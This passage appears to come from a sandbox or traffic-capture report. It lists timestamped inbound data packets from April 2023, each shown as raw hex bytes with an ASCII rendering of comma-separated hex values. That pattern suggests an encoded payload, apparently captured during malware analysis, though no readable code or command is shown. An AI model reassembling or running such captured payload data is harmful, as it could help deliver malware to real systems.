2023-04-20 23:04:31 UTC	9229	IN	Data Raw: 33 61 2c 38 66 2c 37 36 2c 65 34 2c 31 32 31 2c 31 32 32 2c 31 31 37 2c 64 37 2c 31 32 35 2c 61 61 2c 37 66 2c 31 33 62 2c 66 34 2c 31 34 63 2c 31 32 39 2c 63 63 2c 36 37 2c 31 30 33 2c 31 33 33 2c 61 32 2c 64 36 2c 34 32 2c 65 32 2c 31 30 30 2c 31 30 61 2c 31 30 65 2c 31 33 62 2c 61 66 2c 31 34 34 2c 61 64 2c 37 37 2c 64 61 2c 31 33 61 2c 64 65 2c 36 38 2c 62 32 2c 34 65 2c 62 61 2c 31 30 65 2c 31 33 30 2c 36 33 2c 66 64 2c 36 62 2c 31 32 66 2c 34 36 2c 64 35 2c 37 37 2c 37 33 2c 65 31 2c 31 31 35 2c 61 61 2c 37 66 2c 66 32 2c 66 66 2c 31 32 32 2c 66 62 2c 61 64 2c 36 62 2c 31 33 38 2c 39 64 2c 37 37 2c 36 36 2c 37 61 2c 36 62 2c 31 30 64 2c 62 35 2c 37 63 2c 63 64 2c 66 33 2c 61 35 2c 37 66 2c 31 31 37 2c 37 34 2c 31 33 31 2c 66 65 2c 31 35 35 2c 66 64 Data Ascii: 3a,8f,76,e4,121,122,117,d7,125,aa,7f,13b,f4,14c,129,cc,67,103,133,a2,d6,42,e2,100,10a,10e,13b,af,144,ad,77,da,13a,de,68,b2,4e,ba,10e,130,63,fd,6b,12f,46,d5,77,73,e1,115,aa,7f,f2,ff,122,fb,ad,6b,138,9d,77,66,7a,6b,10d,b5,7c,cd,f3,a5,7f,117,74,131,fe,155,fd
2023-04-20 23:04:31 UTC	9245	IN	Data Raw: 35 38 2c 36 64 2c 66 31 2c 62 36 2c 64 32 2c 31 32 66 2c 61 32 2c 31 34 36 2c 31 30 62 2c 31 30 31 2c 66 61 2c 65 62 2c 31 35 36 2c 31 33 61 2c 31 31 64 2c 37 39 2c 37 62 2c 39 65 2c 64 37 2c 64 30 2c 31 33 66 2c 38 36 2c 31 34 62 2c 31 35 38 2c 64 34 2c 31 34 34 2c 31 30 39 2c 37 36 2c 31 31 39 2c 31 32 64 2c 63 34 2c 61 33 2c 31 31 65 2c 39 62 2c 31 30 62 2c 66 37 2c 31 31 33 2c 64 37 2c 64 66 2c 64 34 2c 66 64 2c 38 30 2c 66 37 2c 38 30 2c 31 35 62 2c 66 36 2c 31 32 31 2c 31 33 32 2c 31 33 38 2c 66 32 2c 61 65 2c 65 66 2c 61 32 2c 31 34 63 2c 31 35 30 2c 39 61 2c 64 62 2c 31 32 66 2c 66 32 2c 31 31 61 2c 39 37 2c 35 31 2c 31 34 30 2c 65 32 2c 66 30 2c 31 31 35 2c 37 31 2c 31 30 31 2c 36 32 2c 39 38 2c 31 31 65 2c 39 36 2c 37 64 2c 65 64 2c 65 38 2c 62 Data Ascii: 58,6d,f1,b6,d2,12f,a2,146,10b,101,fa,eb,156,13a,11d,79,7b,9e,d7,d0,13f,86,14b,158,d4,144,109,76,119,12d,c4,a3,11e,9b,10b,f7,113,d7,df,d4,fd,80,f7,80,15b,f6,121,132,138,f2,ae,ef,a2,14c,150,9a,db,12f,f2,11a,97,51,140,e2,f0,115,71,101,62,98,11e,96,7d,ed,e8,b
2023-04-20 23:04:31 UTC	9261	IN	Data Raw: 61 2c 38 37 2c 38 66 2c 66 36 2c 35 34 2c 31 34 65 2c 36 63 2c 38 38 2c 33 36 2c 31 31 34 2c 61 61 2c 31 30 31 2c 31 31 65 2c 35 39 2c 61 63 2c 35 64 2c 31 30 65 2c 63 39 2c 66 38 2c 31 31 36 2c 31 30 36 2c 35 62 2c 38 64 2c 65 38 2c 31 34 36 2c 38 31 2c 61 31 2c 38 62 2c 31 36 33 2c 39 31 2c 39 37 2c 61 39 2c 39 39 2c 65 30 2c 61 62 2c 63 36 2c 63 38 2c 64 62 2c 62 62 2c 31 34 31 2c 33 63 2c 31 35 38 2c 61 36 2c 61 30 2c 31 31 34 2c 31 32 34 2c 37 33 2c 61 63 2c 31 33 38 2c 62 61 2c 62 31 2c 64 66 2c 31 32 63 2c 31 32 30 2c 61 61 2c 36 37 2c 31 35 32 2c 31 30 63 2c 36 64 2c 39 30 2c 37 65 2c 38 31 2c 38 37 2c 62 38 2c 31 31 61 2c 33 37 2c 31 34 62 2c 35 33 2c 37 62 2c 62 39 2c 39 35 2c 63 31 2c 31 30 36 2c 63 39 2c 62 64 2c 37 35 2c 64 38 2c 61 61 2c 31 Data Ascii: a,87,8f,f6,54,14e,6c,88,36,114,aa,101,11e,59,ac,5d,10e,c9,f8,116,106,5b,8d,e8,146,81,a1,8b,163,91,97,a9,99,e0,ab,c6,c8,db,bb,141,3c,158,a6,a0,114,124,73,ac,138,ba,b1,df,12c,120,aa,67,152,10c,6d,90,7e,81,87,b8,11a,37,14b,53,7b,b9,95,c1,106,c9,bd,75,d8,aa,1
2023-04-20 23:04:42 UTC	9277	IN	Data Raw: 31 38 2c 35 31 2c 63 36 2c 31 36 33 2c 61 65 2c 35 63 2c 31 32 30 2c 31 36 30 2c 31 32 37 2c 39 65 2c 35 39 2c 31 32 66 2c 37 61 2c 62 34 2c 61 63 2c 61 34 2c 38 36 2c 31 32 35 2c 36 33 2c 35 38 2c 31 32 30 2c 31 30 32 2c 62 63 2c 62 38 2c 61 34 2c 36 33 2c 37 33 2c 63 66 2c 36 32 2c 31 34 63 2c 62 65 2c 31 31 33 2c 66 62 2c 63 34 2c 31 34 31 2c 31 30 32 2c 66 62 2c 62 61 2c 37 31 2c 62 34 2c 31 33 35 2c 31 32 63 2c 31 31 31 2c 66 34 2c 61 36 2c 36 31 2c 64 65 2c 31 34 64 2c 63 39 2c 66 62 2c 66 66 2c 31 34 65 2c 62 34 2c 31 32 39 2c 31 34 32 2c 66 30 2c 39 33 2c 62 34 2c 36 36 2c 36 65 2c 63 61 2c 66 63 2c 63 38 2c 36 65 2c 31 31 65 2c 33 64 2c 31 34 34 2c 31 31 61 2c 65 63 2c 62 30 2c 31 30 64 2c 61 61 2c 66 34 2c 31 31 34 2c 31 30 62 2c 66 65 2c 34 30 Data Ascii: 18,51,c6,163,ae,5c,120,160,127,9e,59,12f,7a,b4,ac,a4,86,125,63,58,120,102,bc,b8,a4,63,73,cf,62,14c,be,113,fb,c4,141,102,fb,ba,71,b4,135,12c,111,f4,a6,61,de,14d,c9,fb,ff,14e,b4,129,142,f0,93,b4,66,6e,ca,fc,c8,6e,11e,3d,144,11a,ec,b0,10d,aa,f4,114,10b,fe,40
2023-04-20 23:04:42 UTC	9293	IN	Data Raw: 39 2c 62 65 2c 63 63 2c 37 38 2c 31 32 61 2c 39 34 2c 31 31 62 2c 31 30 30 2c 63 36 2c 31 35 31 2c 38 31 2c 39 65 2c 37 33 2c 61 30 2c 36 33 2c 39 37 2c 62 61 2c 31 31 65 2c 35 61 2c 38 32 2c 66 38 2c 31 30 38 2c 31 32 30 2c 62 33 2c 66 37 2c 38 61 2c 31 35 37 2c 31 30 64 2c 66 32 2c 65 37 2c 64 61 2c 66 30 2c 31 33 30 2c 61 35 2c 63 30 2c 33 38 2c 31 34 32 2c 31 33 36 2c 37 62 2c 31 33 66 2c 64 33 2c 31 33 66 2c 39 35 2c 31 33 33 2c 31 33 61 2c 34 61 2c 62 38 2c 61 31 2c 31 34 31 2c 38 61 2c 36 35 2c 62 64 2c 31 35 38 2c 65 35 2c 31 33 37 2c 37 30 2c 31 34 37 2c 31 32 62 2c 39 30 2c 31 32 66 2c 39 37 2c 61 31 2c 31 36 37 2c 31 36 61 2c 31 32 33 2c 65 32 2c 64 64 2c 35 30 2c 64 65 2c 37 33 2c 31 32 62 2c 31 34 63 2c 31 34 34 2c 64 30 2c 63 31 2c 31 34 35 Data Ascii: 9,be,cc,78,12a,94,11b,100,c6,151,81,9e,73,a0,63,97,ba,11e,5a,82,f8,108,120,b3,f7,8a,157,10d,f2,e7,da,f0,130,a5,c0,38,142,136,7b,13f,d3,13f,95,133,13a,4a,b8,a1,141,8a,65,bd,158,e5,137,70,147,12b,90,12f,97,a1,167,16a,123,e2,dd,50,de,73,12b,14c,144,d0,c1,145
2023-04-20 23:04:42 UTC	9309	IN	Data Raw: 62 65 2c 62 35 2c 31 31 63 2c 31 31 36 2c 36 61 2c 64 65 2c 31 31 38 2c 35 37 2c 31 30 63 2c 39 64 2c 39 35 2c 62 35 2c 64 33 2c 31 31 61 2c 33 66 2c 31 33 33 2c 64 34 2c 62 38 2c 31 35 35 2c 66 36 2c 31 33 66 2c 62 30 2c 63 39 2c 37 39 2c 64 61 2c 31 33 64 2c 38 34 2c 31 34 35 2c 38 31 2c 64 35 2c 64 30 2c 31 33 35 2c 61 62 2c 62 30 2c 66 37 2c 37 64 2c 31 36 33 2c 63 38 2c 31 30 63 2c 36 64 2c 31 32 31 2c 38 65 2c 31 30 37 2c 31 31 30 2c 61 30 2c 36 66 2c 63 30 2c 31 31 32 2c 37 64 2c 62 37 2c 37 39 2c 31 35 31 2c 31 30 33 2c 62 38 2c 31 34 30 2c 31 31 64 2c 35 63 2c 38 39 2c 66 31 2c 31 33 63 2c 31 32 36 2c 37 33 2c 37 32 2c 39 34 2c 31 31 37 2c 65 63 2c 66 37 2c 65 35 2c 39 31 2c 31 33 64 2c 31 30 34 2c 65 34 2c 31 31 39 2c 31 34 64 2c 39 38 2c 61 31 Data Ascii: be,b5,11c,116,6a,de,118,57,10c,9d,95,b5,d3,11a,3f,133,d4,b8,155,f6,13f,b0,c9,79,da,13d,84,145,81,d5,d0,135,ab,b0,f7,7d,163,c8,10c,6d,121,8e,107,110,a0,6f,c0,112,7d,b7,79,151,103,b8,140,11d,5c,89,f1,13c,126,73,72,94,117,ec,f7,e5,91,13d,104,e4,119,14d,98,a1
2023-04-20 23:04:42 UTC	9325	IN	Data Raw: 2c 35 35 2c 38 39 2c 31 33 61 2c 36 32 2c 36 34 2c 31 32 65 2c 61 61 2c 31 30 31 2c 31 32 62 2c 66 66 2c 62 38 2c 62 64 2c 31 30 31 2c 38 36 2c 31 31 39 2c 62 62 2c 39 63 2c 63 33 2c 35 63 2c 31 34 38 2c 39 35 2c 33 33 2c 31 32 66 2c 31 31 31 2c 37 63 2c 31 34 61 2c 31 31 66 2c 31 35 34 2c 34 62 2c 62 30 2c 64 37 2c 31 30 63 2c 61 30 2c 31 32 39 2c 63 65 2c 61 37 2c 61 35 2c 35 39 2c 38 38 2c 66 65 2c 65 33 2c 38 34 2c 31 33 30 2c 36 65 2c 61 63 2c 61 65 2c 36 61 2c 31 31 37 2c 31 32 32 2c 65 65 2c 38 63 2c 66 65 2c 35 30 2c 39 30 2c 38 62 2c 37 64 2c 61 38 2c 31 31 33 2c 31 30 34 2c 37 33 2c 31 31 31 2c 62 36 2c 66 32 2c 64 35 2c 31 32 30 2c 35 65 2c 31 36 61 2c 66 61 2c 31 30 32 2c 33 38 2c 64 38 2c 66 63 2c 31 33 37 2c 61 32 2c 39 39 2c 31 35 37 2c 62 Data Ascii: ,55,89,13a,62,64,12e,aa,101,12b,ff,b8,bd,101,86,119,bb,9c,c3,5c,148,95,33,12f,111,7c,14a,11f,154,4b,b0,d7,10c,a0,129,ce,a7,a5,59,88,fe,e3,84,130,6e,ac,ae,6a,117,122,ee,8c,fe,50,90,8b,7d,a8,113,104,73,111,b6,f2,d5,120,5e,16a,fa,102,38,d8,fc,137,a2,99,157,b
2023-04-20 23:04:42 UTC	9341	IN	Data Raw: 2c 36 65 2c 64 38 2c 65 34 2c 34 63 2c 31 31 30 2c 31 33 34 2c 31 36 35 2c 31 33 34 2c 31 32 64 2c 31 33 34 2c 38 62 2c 31 36 30 2c 31 36 63 2c 35 62 2c 38 61 2c 36 38 2c 31 30 33 2c 66 62 2c 35 31 2c 37 61 2c 31 35 32 2c 31 31 38 2c 63 36 2c 38 37 2c 38 34 2c 31 36 32 2c 37 36 2c 65 31 2c 31 32 61 2c 37 34 2c 61 63 2c 31 31 65 2c 34 32 2c 31 35 62 2c 65 39 2c 31 31 34 2c 65 37 2c 31 35 61 2c 31 31 64 2c 39 39 2c 62 31 2c 37 33 2c 63 38 2c 31 34 61 2c 66 65 2c 31 31 35 2c 31 34 37 2c 31 31 33 2c 31 30 32 2c 63 64 2c 66 31 2c 37 33 2c 31 31 63 2c 63 33 2c 31 33 66 2c 31 32 36 2c 31 33 63 2c 31 32 37 2c 37 39 2c 31 34 61 2c 35 62 2c 31 36 63 2c 38 33 2c 35 66 2c 65 30 2c 31 30 30 2c 39 31 2c 63 32 2c 31 30 31 2c 65 62 2c 36 39 2c 38 38 2c 63 65 2c 31 34 33 Data Ascii: ,6e,d8,e4,4c,110,134,165,134,12d,134,8b,160,16c,5b,8a,68,103,fb,51,7a,152,118,c6,87,84,162,76,e1,12a,74,ac,11e,42,15b,e9,114,e7,15a,11d,99,b1,73,c8,14a,fe,115,147,113,102,cd,f1,73,11c,c3,13f,126,13c,127,79,14a,5b,16c,83,5f,e0,100,91,c2,101,eb,69,88,ce,143
2023-04-20 23:04:42 UTC	9357	IN	Data Raw: 2c 31 33 31 2c 31 32 31 2c 66 35 2c 31 32 65 2c 63 31 2c 36 63 2c 63 63 2c 31 33 39 2c 31 31 36 2c 66 30 2c 31 33 31 2c 37 35 2c 39 34 2c 31 34 63 2c 31 32 65 2c 31 34 34 2c 31 30 32 2c 31 30 38 2c 35 33 2c 34 37 2c 37 35 2c 34 32 2c 65 32 2c 31 34 33 2c 31 34 62 2c 61 32 2c 31 33 34 2c 62 31 2c 31 30 32 2c 66 63 2c 38 38 2c 61 62 2c 38 65 2c 61 63 2c 35 30 2c 63 39 2c 31 35 39 2c 35 37 2c 31 30 61 2c 39 65 2c 63 39 2c 38 35 2c 62 32 2c 33 64 2c 64 34 2c 31 30 34 2c 31 30 62 2c 31 33 37 2c 62 36 2c 37 38 2c 64 34 2c 33 31 2c 65 65 2c 65 61 2c 35 64 2c 31 33 63 2c 64 62 2c 38 36 2c 36 31 2c 31 30 39 2c 31 34 63 2c 37 64 2c 61 64 2c 66 32 2c 64 34 2c 66 66 2c 62 63 2c 37 62 2c 37 37 2c 39 31 2c 31 31 39 2c 31 34 30 2c 31 32 34 2c 31 31 32 2c 37 66 2c 64 32 Data Ascii: ,131,121,f5,12e,c1,6c,cc,139,116,f0,131,75,94,14c,12e,144,102,108,53,47,75,42,e2,143,14b,a2,134,b1,102,fc,88,ab,8e,ac,50,c9,159,57,10a,9e,c9,85,b2,3d,d4,104,10b,137,b6,78,d4,31,ee,ea,5d,13c,db,86,61,109,14c,7d,ad,f2,d4,ff,bc,7b,77,91,119,140,124,112,7f,d2
2023-04-20 23:04:42 UTC	9373	IN	Data Raw: 31 32 34 2c 31 35 62 2c 31 34 34 2c 37 61 2c 31 31 39 2c 31 32 37 2c 61 61 2c 64 38 2c 62 34 2c 63 61 2c 31 36 62 2c 61 37 2c 39 36 2c 31 34 62 2c 65 66 2c 31 35 62 2c 31 31 37 2c 31 30 62 2c 65 66 2c 31 30 64 2c 31 32 62 2c 31 30 39 2c 31 30 65 2c 63 36 2c 36 30 2c 61 64 2c 62 62 2c 63 64 2c 38 38 2c 38 30 2c 61 66 2c 31 33 34 2c 38 30 2c 63 61 2c 31 32 30 2c 39 64 2c 62 62 2c 31 32 65 2c 31 30 63 2c 31 32 65 2c 61 34 2c 63 62 2c 31 32 33 2c 34 61 2c 31 30 39 2c 62 33 2c 63 37 2c 38 33 2c 38 65 2c 39 63 2c 63 63 2c 66 36 2c 31 32 36 2c 39 32 2c 64 39 2c 39 64 2c 36 32 2c 31 32 39 2c 64 35 2c 38 64 2c 38 39 2c 31 31 33 2c 31 34 34 2c 31 30 64 2c 31 32 37 2c 38 30 2c 31 34 37 2c 66 35 2c 65 34 2c 64 32 2c 31 33 34 2c 39 66 2c 31 33 30 2c 35 35 2c 66 38 2c Data Ascii: 124,15b,144,7a,119,127,aa,d8,b4,ca,16b,a7,96,14b,ef,15b,117,10b,ef,10d,12b,109,10e,c6,60,ad,bb,cd,88,80,af,134,80,ca,120,9d,bb,12e,10c,12e,a4,cb,123,4a,109,b3,c7,83,8e,9c,cc,f6,126,92,d9,9d,62,129,d5,8d,89,113,144,10d,127,80,147,f5,e4,d2,134,9f,130,55,f8,
2023-04-20 23:04:42 UTC	9389	IN	Data Raw: 32 63 2c 34 34 2c 31 31 62 2c 31 34 35 2c 33 34 2c 31 31 32 2c 31 32 62 2c 31 33 39 2c 31 32 37 2c 37 34 2c 62 63 2c 39 66 2c 65 36 2c 31 30 32 2c 31 35 34 2c 31 31 34 2c 66 38 2c 37 35 2c 61 66 2c 65 66 2c 31 30 31 2c 31 36 61 2c 61 36 2c 37 36 2c 62 63 2c 39 65 2c 31 31 66 2c 31 32 38 2c 31 30 64 2c 62 33 2c 62 31 2c 31 36 33 2c 39 33 2c 65 36 2c 61 31 2c 31 35 65 2c 66 66 2c 37 30 2c 31 31 38 2c 31 35 65 2c 31 33 33 2c 31 34 35 2c 66 36 2c 66 63 2c 66 65 2c 31 31 38 2c 31 30 35 2c 31 36 31 2c 31 34 35 2c 63 38 2c 39 32 2c 63 33 2c 66 65 2c 31 30 65 2c 31 35 64 2c 31 31 38 2c 31 32 38 2c 63 66 2c 65 30 2c 35 65 2c 38 66 2c 66 36 2c 63 38 2c 37 39 2c 62 63 2c 38 30 2c 65 62 2c 39 61 2c 63 64 2c 36 65 2c 35 62 2c 31 36 35 2c 61 34 2c 64 38 2c 34 30 2c 31 Data Ascii: 2c,44,11b,145,34,112,12b,139,127,74,bc,9f,e6,102,154,114,f8,75,af,ef,101,16a,a6,76,bc,9e,11f,128,10d,b3,b1,163,93,e6,a1,15e,ff,70,118,15e,133,145,f6,fc,fe,118,105,161,145,c8,92,c3,fe,10e,15d,118,128,cf,e0,5e,8f,f6,c8,79,bc,80,eb,9a,cd,6e,5b,165,a4,d8,40,1
2023-04-20 23:04:56 UTC	9405	IN	Data Raw: 2c 65 34 2c 39 34 2c 65 64 2c 31 34 32 2c 39 61 2c 66 31 2c 31 34 37 2c 61 35 2c 66 34 2c 31 30 32 2c 35 63 2c 37 65 2c 31 34 62 2c 31 32 62 2c 35 63 2c 36 30 2c 66 66 2c 31 34 61 2c 62 31 2c 39 39 2c 31 34 64 2c 31 31 35 2c 37 33 2c 31 32 33 2c 38 63 2c 37 30 2c 66 35 2c 66 30 2c 38 30 2c 31 35 63 2c 38 34 2c 38 32 2c 64 36 2c 62 65 2c 39 39 2c 31 31 33 2c 61 39 2c 37 65 2c 31 33 61 2c 37 35 2c 65 31 2c 31 32 31 2c 31 30 34 2c 31 33 32 2c 66 35 2c 31 30 32 2c 64 64 2c 31 33 38 2c 65 61 2c 61 37 2c 31 31 65 2c 36 65 2c 31 36 32 2c 66 62 2c 31 30 38 2c 65 64 2c 31 34 62 2c 37 39 2c 64 34 2c 31 33 33 2c 38 38 2c 31 32 61 2c 63 35 2c 36 37 2c 31 30 35 2c 63 61 2c 38 39 2c 39 31 2c 38 30 2c 31 33 33 2c 61 37 2c 62 31 2c 65 30 2c 31 31 30 2c 66 32 2c 31 31 38 Data Ascii: ,e4,94,ed,142,9a,f1,147,a5,f4,102,5c,7e,14b,12b,5c,60,ff,14a,b1,99,14d,115,73,123,8c,70,f5,f0,80,15c,84,82,d6,be,99,113,a9,7e,13a,75,e1,121,104,132,f5,102,dd,138,ea,a7,11e,6e,162,fb,108,ed,14b,79,d4,133,88,12a,c5,67,105,ca,89,91,80,133,a7,b1,e0,110,f2,118
2023-04-20 23:04:56 UTC	9421	IN	Data Raw: 33 63 2c 64 36 2c 61 64 2c 66 38 2c 63 63 2c 66 65 2c 35 63 2c 66 39 2c 31 31 39 2c 31 36 30 2c 31 35 33 2c 31 33 34 2c 36 32 2c 31 32 30 2c 64 32 2c 39 30 2c 35 39 2c 31 30 32 2c 38 64 2c 64 38 2c 31 30 66 2c 31 31 63 2c 63 34 2c 66 63 2c 31 35 36 2c 39 39 2c 33 65 2c 31 34 33 2c 31 30 34 2c 63 65 2c 63 62 2c 64 66 2c 31 33 32 2c 31 32 31 2c 66 63 2c 63 61 2c 37 37 2c 36 32 2c 31 31 63 2c 63 32 2c 61 33 2c 61 66 2c 63 34 2c 31 31 39 2c 66 38 2c 31 31 39 2c 39 34 2c 31 34 39 2c 31 30 62 2c 63 61 2c 35 63 2c 66 36 2c 61 34 2c 36 31 2c 62 64 2c 63 35 2c 39 63 2c 64 34 2c 33 65 2c 31 36 38 2c 37 30 2c 62 30 2c 31 30 38 2c 31 31 39 2c 31 37 30 2c 66 66 2c 34 63 2c 35 66 2c 31 31 32 2c 31 31 65 2c 63 62 2c 66 34 2c 31 35 66 2c 31 32 38 2c 62 37 2c 65 31 2c 31 Data Ascii: 3c,d6,ad,f8,cc,fe,5c,f9,119,160,153,134,62,120,d2,90,59,102,8d,d8,10f,11c,c4,fc,156,99,3e,143,104,ce,cb,df,132,121,fc,ca,77,62,11c,c2,a3,af,c4,119,f8,119,94,149,10b,ca,5c,f6,a4,61,bd,c5,9c,d4,3e,168,70,b0,108,119,170,ff,4c,5f,112,11e,cb,f4,15f,128,b7,e1,1
2023-04-20 23:04:56 UTC	9437	IN	Data Raw: 2c 31 31 63 2c 65 38 2c 31 35 61 2c 31 31 30 2c 39 30 2c 66 31 2c 63 39 2c 63 37 2c 31 30 62 2c 66 31 2c 66 35 2c 36 63 2c 39 63 2c 39 30 2c 65 65 2c 35 63 2c 36 65 2c 65 32 2c 31 34 37 2c 64 35 2c 38 31 2c 62 66 2c 62 35 2c 36 30 2c 66 39 2c 31 31 38 2c 37 63 2c 63 38 2c 64 39 2c 37 35 2c 61 30 2c 37 36 2c 62 66 2c 31 31 39 2c 31 34 32 2c 64 36 2c 66 35 2c 35 63 2c 35 39 2c 64 30 2c 31 31 32 2c 39 35 2c 39 32 2c 31 34 34 2c 31 33 62 2c 39 39 2c 63 32 2c 39 33 2c 31 35 30 2c 37 65 2c 65 65 2c 66 66 2c 39 37 2c 31 35 62 2c 31 30 64 2c 61 36 2c 37 62 2c 62 30 2c 31 31 37 2c 31 35 35 2c 65 64 2c 38 32 2c 39 38 2c 65 35 2c 62 66 2c 61 38 2c 38 39 2c 31 33 65 2c 65 32 2c 66 36 2c 64 38 2c 61 64 2c 66 66 2c 64 37 2c 39 36 2c 62 32 2c 65 38 2c 62 62 2c 31 34 39 Data Ascii: ,11c,e8,15a,110,90,f1,c9,c7,10b,f1,f5,6c,9c,90,ee,5c,6e,e2,147,d5,81,bf,b5,60,f9,118,7c,c8,d9,75,a0,76,bf,119,142,d6,f5,5c,59,d0,112,95,92,144,13b,99,c2,93,150,7e,ee,ff,97,15b,10d,a6,7b,b0,117,155,ed,82,98,e5,bf,a8,89,13e,e2,f6,d8,ad,ff,d7,96,b2,e8,bb,149
2023-04-20 23:04:56 UTC	9453	IN	Data Raw: 34 2c 31 34 35 2c 31 30 34 2c 31 34 66 2c 31 33 31 2c 35 64 2c 31 30 32 2c 31 31 36 2c 64 62 2c 31 30 34 2c 61 39 2c 66 64 2c 31 31 34 2c 34 39 2c 38 34 2c 37 33 2c 65 36 2c 31 33 33 2c 39 65 2c 61 66 2c 61 39 2c 31 30 32 2c 62 66 2c 61 38 2c 61 61 2c 64 62 2c 61 30 2c 31 33 64 2c 31 32 61 2c 62 38 2c 61 33 2c 64 30 2c 65 61 2c 31 33 62 2c 31 31 34 2c 31 36 33 2c 31 31 63 2c 34 30 2c 31 31 61 2c 37 32 2c 33 62 2c 36 34 2c 64 62 2c 31 37 30 2c 66 62 2c 31 31 63 2c 64 66 2c 31 36 37 2c 37 62 2c 31 30 33 2c 65 62 2c 65 37 2c 31 34 32 2c 38 31 2c 62 64 2c 31 33 31 2c 31 33 31 2c 38 61 2c 31 31 32 2c 31 35 30 2c 31 30 33 2c 35 64 2c 38 33 2c 31 34 62 2c 31 30 35 2c 37 37 2c 38 31 2c 65 39 2c 63 34 2c 31 31 30 2c 31 31 63 2c 31 35 36 2c 37 31 2c 36 30 2c 66 33 Data Ascii: 4,145,104,14f,131,5d,102,116,db,104,a9,fd,114,49,84,73,e6,133,9e,af,a9,102,bf,a8,aa,db,a0,13d,12a,b8,a3,d0,ea,13b,114,163,11c,40,11a,72,3b,64,db,170,fb,11c,df,167,7b,103,eb,e7,142,81,bd,131,131,8a,112,150,103,5d,83,14b,105,77,81,e9,c4,110,11c,156,71,60,f3
2023-04-20 23:04:56 UTC	9469	IN	Data Raw: 63 37 2c 31 34 64 2c 38 39 2c 65 66 2c 31 33 64 2c 39 37 2c 64 66 2c 65 64 2c 31 30 35 2c 31 33 64 2c 65 36 2c 39 61 2c 31 34 31 2c 65 38 2c 38 33 2c 31 30 32 2c 31 31 35 2c 31 36 34 2c 31 32 64 2c 65 31 2c 66 34 2c 31 34 34 2c 31 33 31 2c 61 37 2c 66 35 2c 37 31 2c 36 32 2c 31 30 36 2c 65 37 2c 31 31 63 2c 39 38 2c 63 36 2c 39 34 2c 31 31 65 2c 31 30 65 2c 31 31 37 2c 38 38 2c 36 35 2c 66 65 2c 34 32 2c 31 36 31 2c 61 36 2c 34 35 2c 31 32 30 2c 65 38 2c 66 31 2c 63 64 2c 31 31 63 2c 63 36 2c 65 39 2c 66 66 2c 37 38 2c 63 65 2c 31 34 38 2c 39 63 2c 65 35 2c 61 30 2c 31 31 62 2c 31 33 62 2c 38 64 2c 38 33 2c 35 66 2c 31 31 66 2c 64 35 2c 31 32 34 2c 36 33 2c 66 32 2c 31 32 62 2c 62 39 2c 65 36 2c 31 32 30 2c 61 66 2c 31 32 37 2c 36 63 2c 38 38 2c 38 33 2c Data Ascii: c7,14d,89,ef,13d,97,df,ed,105,13d,e6,9a,141,e8,83,102,115,164,12d,e1,f4,144,131,a7,f5,71,62,106,e7,11c,98,c6,94,11e,10e,117,88,65,fe,42,161,a6,45,120,e8,f1,cd,11c,c6,e9,ff,78,ce,148,9c,e5,a0,11b,13b,8d,83,5f,11f,d5,124,63,f2,12b,b9,e6,120,af,127,6c,88,83,
2023-04-20 23:04:56 UTC	9485	IN	Data Raw: 31 30 64 2c 31 34 38 2c 37 37 2c 37 61 2c 36 35 2c 61 66 2c 31 30 64 2c 31 32 33 2c 65 65 2c 66 34 2c 63 64 2c 37 61 2c 62 66 2c 64 31 2c 31 31 36 2c 66 62 2c 31 31 61 2c 37 38 2c 66 65 2c 31 32 38 2c 62 65 2c 31 30 61 2c 36 61 2c 31 32 66 2c 31 30 37 2c 39 62 2c 66 38 2c 31 32 37 2c 37 34 2c 37 63 2c 66 62 2c 31 34 31 2c 35 38 2c 61 38 2c 39 63 2c 64 34 2c 66 39 2c 35 38 2c 38 38 2c 64 36 2c 31 30 66 2c 36 31 2c 35 65 2c 36 64 2c 37 38 2c 66 64 2c 37 65 2c 35 35 2c 31 32 62 2c 31 33 62 2c 31 36 33 2c 61 62 2c 64 36 2c 64 36 2c 31 30 62 2c 38 32 2c 63 32 2c 37 33 2c 31 33 31 2c 31 35 63 2c 39 33 2c 31 32 61 2c 38 63 2c 38 31 2c 39 38 2c 31 32 64 2c 31 33 33 2c 31 33 66 2c 31 30 33 2c 61 61 2c 62 36 2c 62 32 2c 35 64 2c 64 66 2c 31 30 31 2c 39 61 2c 31 31 Data Ascii: 10d,148,77,7a,65,af,10d,123,ee,f4,cd,7a,bf,d1,116,fb,11a,78,fe,128,be,10a,6a,12f,107,9b,f8,127,74,7c,fb,141,58,a8,9c,d4,f9,58,88,d6,10f,61,5e,6d,78,fd,7e,55,12b,13b,163,ab,d6,d6,10b,82,c2,73,131,15c,93,12a,8c,81,98,12d,133,13f,103,aa,b6,b2,5d,df,101,9a,11
2023-04-20 23:04:56 UTC	9501	IN	Data Raw: 2c 64 35 2c 31 30 39 2c 31 30 38 2c 63 64 2c 31 31 62 2c 65 31 2c 62 35 2c 39 32 2c 62 34 2c 31 34 36 2c 31 34 65 2c 38 31 2c 66 61 2c 38 31 2c 31 34 33 2c 31 30 62 2c 31 37 37 2c 62 36 2c 31 34 33 2c 31 32 37 2c 31 34 33 2c 65 35 2c 65 65 2c 63 65 2c 66 62 2c 31 32 62 2c 36 63 2c 63 38 2c 63 32 2c 31 33 62 2c 31 32 65 2c 38 34 2c 31 32 33 2c 62 37 2c 31 32 39 2c 31 33 39 2c 38 39 2c 31 30 62 2c 31 31 39 2c 64 63 2c 38 64 2c 31 32 66 2c 36 32 2c 66 35 2c 31 36 35 2c 65 35 2c 31 32 33 2c 37 63 2c 37 65 2c 31 35 30 2c 31 30 30 2c 31 33 61 2c 65 38 2c 61 61 2c 31 32 36 2c 39 35 2c 38 35 2c 31 32 66 2c 31 36 33 2c 31 31 31 2c 66 33 2c 31 32 38 2c 66 30 2c 36 34 2c 39 39 2c 64 39 2c 31 32 62 2c 64 39 2c 38 39 2c 64 65 2c 31 32 65 2c 38 39 2c 65 33 2c 66 62 2c Data Ascii: ,d5,109,108,cd,11b,e1,b5,92,b4,146,14e,81,fa,81,143,10b,177,b6,143,127,143,e5,ee,ce,fb,12b,6c,c8,c2,13b,12e,84,123,b7,129,139,89,10b,119,dc,8d,12f,62,f5,165,e5,123,7c,7e,150,100,13a,e8,aa,126,95,85,12f,163,111,f3,128,f0,64,99,d9,12b,d9,89,de,12e,89,e3,fb,
